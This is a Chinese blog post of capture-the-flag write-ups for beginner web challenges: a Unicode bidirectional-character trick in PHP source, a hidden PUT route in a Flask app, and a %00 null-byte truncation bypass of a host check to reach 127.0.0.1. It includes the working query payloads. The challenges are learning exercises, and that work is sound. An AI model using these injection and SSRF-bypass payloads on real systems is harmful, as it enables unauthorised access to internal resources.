假设你的网站可以通过 http://example.com/ 访问,并且当前页面是 http://example.com/index.php?page=home

  • $_SERVER['PHP_SELF'] 的值可能是 /index.php(注意,这取决于服务器的配置和 URL 重写规则)。//不会包括?问号以后的内容不会显示
  • $_SERVER['REQUEST_URI'] 的值将是 /index.php?page=home

 4.得到flag

 [NISACTF 2022]checkin

1.打开环境,一段代码,代码审计

 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?> 

2.按上面说的构造payload传参,但是没有反应

payload:?ahahahaha=jitanglailo&&cuishiyuan=N1SACTF

 

 3.复制出源代码,在任意语言编辑器中打开后发现有些隐藏的东西。

4.修改payload,将正确的参名和参数的16进制复制下来,并在每两个中加入%号得,得到flag。

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

 

[GDOUCTF 2023]EZ WEB

1.打开环境,上面有一个点击就送flag的按钮,点了以后出现一个弹窗说flag可能在任何地方

2. 查看源码或者目录扫描可以得到一个新的页面/src

3.新的页面内容如下


import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

代码的意思为,如果访问/super-secret-route-nobody-will-guess 的请求方法为put,那么就输出flag
所以就直接抓包然后改请求就行了

4.bp抓包修改头部为 PUT /super-secret-route-nobody-will-guess    发包可得flag

[GKCTF 2020]cve版签到

1.提示说只能访问 *.ctfhub.com ,这里的*表示.前面可以是任何参数,flag在localhost,也就是127.0.0.1,这里存在一个有疑问的地方,只能访问ctfhub.com,但是flag是在localhost,也就是说,访问的地址要有ctfhub.com,但是实际访问的地址是本机地址,这里需要用到%00截断,构造payload

知识点:操作系统是由c或者汇编写的,这两种语言在定义字符时,都是以\0(0x00)作为字符串的结尾,当读到\0字符时,就认为读到了一个字符串的结束符号

?url=http://127.0.0.1%00.ctfhhub.com

 2.出现了新的内容,上面说host必须以123结尾,修改payload

 3.得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值